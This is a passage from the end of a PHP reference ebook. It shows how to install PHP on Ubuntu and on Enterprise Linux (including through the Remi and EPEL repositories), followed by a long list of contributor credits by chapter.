sudo apt-get install php7.0

Let's test the installation by checking the PHP version:

php --version

This should output something like this.

Note: Your output will be slightly different.

PHP 7.0.8-0ubuntu0.16.04.1 (cli) ( NTS )

Copyright (c) 1997-2016 The PHP Group

Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies

with Zend OPcache v7.0.8-0ubuntu0.16.04.1, Copyright (c) 1999-2016, by Zend Technologies

with Xdebug v2.4.0, Copyright (c) 2002-2016, by Derick Rethans

You now have the capability to run PHP from the command line.

Section B.2: Installing in Enterprise Linux distributions

(CentOS, Scientific Linux, etc)

Use the yum command to manage packages in Enterprise Linux-based operating systems:

yum install php

This installs a minimal install of PHP including some common features. If you need additional modules,
you will

need to install them separately. Once again, you can use yum to search for these packages:

yum search php-*

Example output:

GoalKicker.com – PHP Notes for Professionals 459

php-bcmath.x86_64 : A module for PHP applications for using the bcmath library

php-cli.x86_64 : Command-line interface for PHP

php-common.x86_64 : Common files for PHP

php-dba.x86_64 : A database abstraction layer module for PHP applications

php-devel.x86_64 : Files needed for building PHP extensions

php-embedded.x86_64 : PHP library for embedding in applications

php-enchant.x86_64 : Human Language and Character Encoding Support

php-gd.x86_64 : A module for PHP applications for using the gd graphics library

php-imap.x86_64 : A module for PHP applications that use IMAP

To install the gd library:

yum install php-gd

Enterprise Linux distributions have always been conservative with updates, and typically do not
update beyond the

point release they shipped with. A number of third party repositories provide current versions of PHP:

IUS

Remi Colette

Webtatic

IUS and Webtatic provide replacement packages with different names (e.g. php56u or php56w to
install PHP 5.6)

while Remi's repository provides in-place upgrades by using the same names as the system packages.

Following are instructions on installing PHP 7.0 from Remi's repository. This is the simplest example, as
uninstalling

the system packages is not required.

# download the RPMs; replace 6 with 7 in case of EL 7

wget https://dl.fedoraproject.org/pub/epel/epel-release-latest-6.noarch.rpm

wget http://rpms.remirepo.net/enterprise/remi-release-6.rpm

# install the repository information

rpm -Uvh remi-release-6.rpm epel-release-latest-6.noarch.rpm

# enable the repository

yum-config-manager --enable epel --enable remi --enable remi-safe --enable remi-php70

# install the new version of PHP

# NOTE: if you already have the system package installed, this will update it

yum install php

GoalKicker.com – PHP Notes for Professionals 460

Credits

Thank you greatly to all the people from Stack Overflow Documentation who helped provide this
content,

more changes can be sent to web@petercv.com for new content to be published or updated

54 69 6D Chapter 2

7ochem Chapters 1, 2, 5, 12 and 30

A.L Chapter 50

a4arpan Chapter 59

AbcAeffchen Chapters 12, 15 and 16

Abhi Beckert Chapters 21, 26, 43, 50, 58 and 69

Abhishek Gurjar Chapters 6, 10, 28 and 46

Adam Chapter 107

Adil Abbasi Chapters 2, 5 and 26

AeJey Chapter 18

afeique Chapter 2

Ajant Chapters 34 and 96

Akshay Khale Chapter 4

Ala Eddine JEBALI Chapter 38

Albzi Chapter 13

Aleks G Chapter 73

Alex Jimenez Chapter 62

Alexander Guz Chapters 2 and 26

alexander.polomodov Chapters 35, 40 and 95

Alexey Chapters 12 and 43

Alexey Kornilov Chapter 31

Ali MasudianPour Chapter 52

Alok Patel Chapter 14

Alon Eitan Chapter 90

Alphonsus Chapter 41

Amir Forsati Q. Chapter 9

AnatPort Chapters 9, 17 and 19

Andreas Chapters 14 and 33

Andrew Chapters 1 and 10

Anees Saban Chapter 16

Ani Menon Chapter 106

Anil Chapters 1, 5, 30 and 31

AnotherGuy Chapter 29

Anthony Vanover Chapters 64 and 102

Antony D'Andrea Chapter 14

Anwar Nairi Chapter 58

AppleDash Chapter 2

Arkadiusz Kondas Chapter 31

Artsiom Tymchanka Chapter 66

Arun3x3 Chapter 14

Asaph Chapters 6, 7 and 50

Atiqur Chapter 15

AVProgrammer Chapters 31 and 65

B001 Chapters 2, 13 and 27

BacLuc Chapter 58

bakahoe Chapter 17

baldrs Chapters 42 and 9

GoalKicker.com – PHP Notes for Professionals 461

bansi Chapter 65

Benjam Chapter 24

bhrached Chapter 37

Billy G Chapter 5

bish Chapter 64

bishop Chapter 79

blade Chapter 60

bnxio Chapter 29

Boysenb3rry Chapter 72

bpoiss Chapter 12

br3nt Chapters 5, 26, 58 and 90

Bram Chapter 25

BrokenBinary Chapters 29, 31, 47 and 48

BSathvik Chapter 59

bwegs Chapter 5

bwoebi Chapters 2, 5, 6, 9, 11, 12, 15, 19, 31, 70, 92, 95, 96, 103 and 106

cale_b Chapters 1, 2 and 5

Callan Heard Chapter 59

Calvin Chapter 10

Canis Chapter 26

caoglish Chapter 14
cFreed Chapter 9

Charlie H Chapter 5

chh Chapter 15

Chief Wiggum Chapter 25

Chris Forrence Chapter 66

Chris White Chapters 41, 45 and 47

Christian Chapters 2, 25 and 98

Christopher K. Chapter 9

Chrys Ugwu Chapter 39

cjsimon Chapter 55

Code4R7 Chapter 49

cpalinckx Chapter 5

CStff Chapter 19

cyberbit Chapter 30

CʸN Chapter 30

Daniel Waghorn Chapter 41

DanTheDJ1 Chapter 28

Darren Chapters 15, 22, 26 and 101

David Chapter 12

David Packer Chapter 35

daviddhont Chapter 101

Davіd Chapters 5 and 16

Dennis Haarbrink Chapter 26

Devsi Odedra Chapter 10

dikirill Chapter 33
Dipen Shah Chapter 9

Dipesh Poudel Chapter 1

DJ Sipe Chapter 41

Dmytrechko Chapters 5 and 103

Dmytro G. Sergiienko Chapter 22

Dov Benyomin Sohacheski Chapter 41

Dragos Strugar Chapters 2

GoalKicker.com – PHP Notes for Professionals 462

Drew Chapter 58

Ed Cottrell Chapters 1, 5, 31, 35, 42, 58 and 90

Edward Chapter 35

Ekin Chapter 26

Emil Chapter 10

Enamul Hassan Chapter 1

Epodax Chapter 39

Erki A Chapter 71

Ernestas Stankevi

čius Chapters 50 and 69

Exagone313 Chapters 46 and 66

Félix Gagnon Chapters 41 and 94

F. Müller Chapters 12, 15 and 94

F0G Chapter 2

Fathan Chapter 16

FeedTheWeb Chapter 31

Filip
Š Chapter 57

Finwe Chapter 103

franga2000 Chapters 55 and 95

gabe3886 Chapter 43

Gabriel Solomon Chapter 67

Gaurav Chapter 1

Gaurav Srivastava Chapter 12

georoot Chapters 77, 78, 85, 98 and 101

Gerard Roche Chapters 42 and 89

Gino Pane Chapters 2, 9, 31 and 96

Gopal Sharma Chapter 62

Gordon Chapters 90 and 104

GordonM Chapter 56

gracacs Chapter 9

GuRu Chapter 12

Gytis Tenovimas Chapters 2, 53, 59 and 96

H. Pauwelyn Chapter 1

Hardik Kanjariya

ツ Chapter 43

Haridarshan Chapter 28

Harikrishnan Chapter 15

Hartman Chapter 33

Henders Chapters 9 and 28

Henrique Barcelos Chapters 2, 5, 26, 58, 66 and 90

Hirdesh Vishwdewa Chapters 2 and 5

HPierce Chapters 9, 45 and 89

hspaans Chapter 41

Ian Drake Chapter 66

Ikari Chapters 10, 18, 41 and 99

Ilker Mutlu Chapter 75

ImClarky Chapters 20 and 65

Ivan Chapter 58

Ivijan Stefan Stipi

ć Chapter 28

Jack hardcastle Chapter 26

James Chapters 17, 33 and 36

James Alday Chapter 33

Jared Dunham Chapter 59

Jari Keinänen Chapter 64

Jason Chapters 26 and 103

GoalKicker.com – PHP Notes for Professionals 463

jasonlam604 Chapter 64

Jay Chapter 58

Jaya Parwani Chapter 2

jayantS Chapter 18

Jaydeep Pandya Chapter 78

JayIsTooCommon Chapter 10

JC Lee Chapter 32

jcalonso Chapter 12

jcuenod Chapter 19
Jdrupal Chapter 21

Jees K Denny Chapter 59

Jens A. Koch Chapters 1, 19, 28 and 79

jesussegado Chapter 75

Jhollman Chapter 106

Jimmmy Chapter 33

jlapoutre Chapter 40

jmattheis Chapters 5, 15 and 53

Jo. Chapters 12 and 20

Joe Chapters 10 and 86

John C Chapter 29

John Conde Chapters 18, 34, 46 and 64

John Slegers Chapters 1, 2, 5, 12, 26, 31, 40, 49 and 90

JonasCz Chapter 1

Jonathan Lam Chapter 59

JonMark Perry Chapter 10

juandemarco Chapter 15

Juha Palomäki Chapter 25

JustCarty Chapters 4 and 59

jwriteclub Chapters 20, 26, 66 and 90

K48 Chapter 5

Kamehameha Chapter 39

Karim Geiger Chapters 31 and 45

Katie Chapter 95

kelunik Chapters 35, 70 and 103

Kenyon Chapter 75

kero Chapter 26

Kevin Campion Chapter 61

kisanme Chapter 5

Kodos Johnson Chapter 12

krtek Chapter 22

ksealey Chapter 13

Kuhan Chapter 81

Kzqai Chapter 1

Laposhasú Acsa Chapter 95

leguano Chapter 89

Leith Chapter 31

Ligemer Chapter 31

Linus Chapter 35

littlethoughts Chapter 44

Loopo Chapter 33

Luca Rainone Chapter 26

m02ph3u5 Chapters 2 and 12

Maarten Oosting Chapter 43

GoalKicker.com – PHP Notes for Professionals 464

Machavity Chapters 26, 31, 40, 45, 58 and 59

MackieeE Chapter 12

maioman Chapter 64

Majid Chapters 26, 27, 29, 40, 47 and 67

Manikiran Chapter 20
Manolis Agkopian Chapter 58

Mansouri Chapter 101

Manulaiko Chapter 27

Marc Chapter 5

Marcel dos Santos Chapter 22

Mark H. Chapter 5

Marten Koetsier Chapters 5, 9, 10, 34 and 55

Martijn Chapter 59

Martijn Gastkemper Chapter 22

Martin Chapter 9

martin Chapter 70

Matei Mihai Chapters 7, 12 and 31

matiaslauriti Chapter 19

Matt Clark Chapter 43

Matt Raines Chapters 7, 10 and 20

Matt S Chapters 1, 3, 10, 14, 16, 27, 41, 52, 58, 97, 101 and 103

Matze Chapter 47

Maxime Chapter 14

Meisam Mulla Chapter 12

Michael Thompson Chapter 36

mickmackusa Chapter 28

Mike Chapter 68

miken32 Chapters 1, 5, 9, 10, 12, 19, 22, 31, 33, 38, 43, 50, 55, 56, 58, 66, 89, 105 and

107

Milan Chheda Chapter 15

Mimouni Chapter 31

mjsarfatti Chapter 39

mleko Chapters 1 and 66

Mohamed Belal Chapters 52 and 90

Mohammad Sadegh Chapters 5 and 53

Mohyaddin Alaoddin Chapter 12

moopet Chapter 9

Moppo Chapters 40 and 41

mpavey Chapter 1

mTorres Chapter 29

Mubashar Abbas Chapters 1 and 2

Mubashar Iqbal Chapter 89

Muhammad Chapter 1

Muhammad Sumon Molla

Selim Chapter 41

mulquin Chapter 66

Mushti Chapter 2

n Chapter 29

naitsirch Chapter 102

Nate Chapters 2, 5, 10 and 26

Nathan Arthur Chapters 1 and 5

Neil Strickland Chapter 5

Nguyen Thanh Chapter 20

GoalKicker.com – PHP Notes for Professionals 465

Nic Wortel Chapter 103

nickb Chapter 38

Nijraj Gelani Chapter 28

Noah van der Aa Chapter 82

noufalcep Chapters 15 and 16

Obinna Nwakwue Chapter 59

ojrask Chapters 1, 2, 9, 26, 39 and 66

Oldskool Chapter 36

Ormoz Chapter 74

Ortomala Lokni Chapter 10

Oscar David Chapter 17

Pablo Martinez Chapter 107

Panda Chapters 1, 5, 29 and 31

Parziphal Chapter 2

Patrick Simard Chapter 51

paulmorriss Chapter 1

Paulo Lima Chapter 87

Paulpro Chapter 41

Pawel Dubiel Chapter 31

Pedro Pinheiro Chapters 18 and 22

Pekka

웃 Chapter 64

Perry Chapters 36 and 103

Petr R. Chapters 10, 59 and 64

philwc Chapter 58

Piotr Olaszewski Chapters 31, 32 and 76

Praveen Kumar Chapter 5

Proger_Cbsk Chapter 12

p_blomberg Chapter 1

Quill Chapter 69

Rafael Dantas Chapters 5 and 31

rap Chapters 1, 9, 10, 12 and 58

Raptor Chapter 12

Ravi Hirani Chapter 12

Rebecca Close Chapter 8

RelicScoth Chapter 88

rfsbsb Chapters 6 and 107

Richard Turner Chapter 15

Rick James Chapters 31, 59 and 74

Rizier123 Chapter 12

Robbie Averill Chapters 2, 22, 26, 41, 64, 66 and 94

robert Chapter 59

Robin Panta Chapters 19 and 101

Rocket Hazmat Chapter 32

Ruslan Bes Chapters 6, 7, 9, 14, 15, 22, 42 and 53

Ruslan Osmanov Chapter 70

Ryan K Chapter 43

ryanm Chapter 5

RyanNerd Chapters 12 and 14

ryanyuyu Chapter 31

S.I. Chapter 33
Safoor Safdar Chapter 41

Sam Onela Chapter 33

Saurabh Chapter 106

GoalKicker.com – PHP Notes for Professionals 466

scottevans93 Chapter 30

Script47 Chapter 101

Script_Coded Chapter 10

Sebastian Brosch Chapters 1 and 84

Sebastianb Chapter 67

secelite Chapter 101

Serg Chernata Chapter 95

Shane Chapter 23

Shawn Patrick Rice Chapter 66

Sherif Chapters 80 and 91

shyammakwana.me Chapter 53

signal Chapter 69

SirNarsh Chapter 83

Smar Chapters 39 and 59

SOFe Chapters 1, 2, 5, 10, 12, 13, 14, 15, 16, 21, 24, 25, 26, 28, 37, 39, 43, 44, 45, 57,

66, 74 and 84

Sourav Ghosh Chapter 25

StasM Chapters 5 and 10

Steve Chamaillard Chapter 35

Sumurai8 Chapter 41

Sunitrams' Chapter 99
SuperBear Chapter 10

Sverri M. Olsen Chapters 17 and 103

Svish Chapter 5

SZenC Chapters 2, 5 and 62

talhasch Chapter 66

TecBrat Chapter 1

Technomad Chapter 32

tereško Chapters 19, 58 and 103

Tgr Chapters 12, 58 and 97

TGrif Chapter 42

Thaillie Chapter 5

Thamilan Chapters 9 and 93

Thara Chapter 25

theomessin Chapter 45

Thibaud Dauce Chapter 12

Thijs Riezebeek Chapters 3, 12, 26, 27, 32, 40, 41, 42, 67 and 89

think123 Chapters 30 and 92

this.lau_ Chapters 33 and 63

Thlbaut Chapter 12

Thomas Chapter 6

Thomas Gerot Chapter 103

Timothy Chapter 5

Timur Chapter 5

Toby Allen Chapter 58

toesslab.ch Chapter 1
Tom Chapters 81, 88 and 103

Tom Wright Chapters 9 and 27

Tomáš Fejfar Chapter 31

Tomasz Tybulewicz Chapter 22

tpunt Chapters 5, 10, 12, 26, 35, 58, 104 and 105

tristansokol Chapter 60

TryHarder Chapter 19

GoalKicker.com – PHP Notes for Professionals 467

tyteen4a03 Chapter 103

Ultimater Chapters 5 and 12

unarist Chapters 12 and 22

undefined Chapters 101 and 105

Undersc0re Chapter 101

Unex Chapter 2

uruloke Chapters 39 and 47

user128216 Chapter 1

user2914877 Chapter 102

user5389107 Chapters 5, 12 and 58

uzaif Chapters 5 and 31

u_mulder Chapter 45

Vadim Kokin Chapter 36

Veerendra Chapter 15

Ven Chapter 5

Victor T. Chapter 54

vijaykumar Chapters 12, 26 and 70

Viktor Chapter 18

Vincent Teyssier Chapters 58 and 101

walid Chapters 29 and 81

warlock Chapter 17

webDev Chapter 101

webNeat Chapter 66

Will Chapters 9 and 26

WillardSolutions Chapters 58 and 93

Willem Stuursma Chapter 31

William Perron Chapter 5

wogsland Chapter 10

Woliul Chapter 106

xims Chapter 1

Xorifelse Chapter 101

Yehia Awad Chapter 43

yesitsme Chapter 100

Your Common Sense Chapters 5 and 58

Yuri Blanc Chapter 31

Yury Fedorov Chapters 16, 31 and 58

Ziumin Chapter 43

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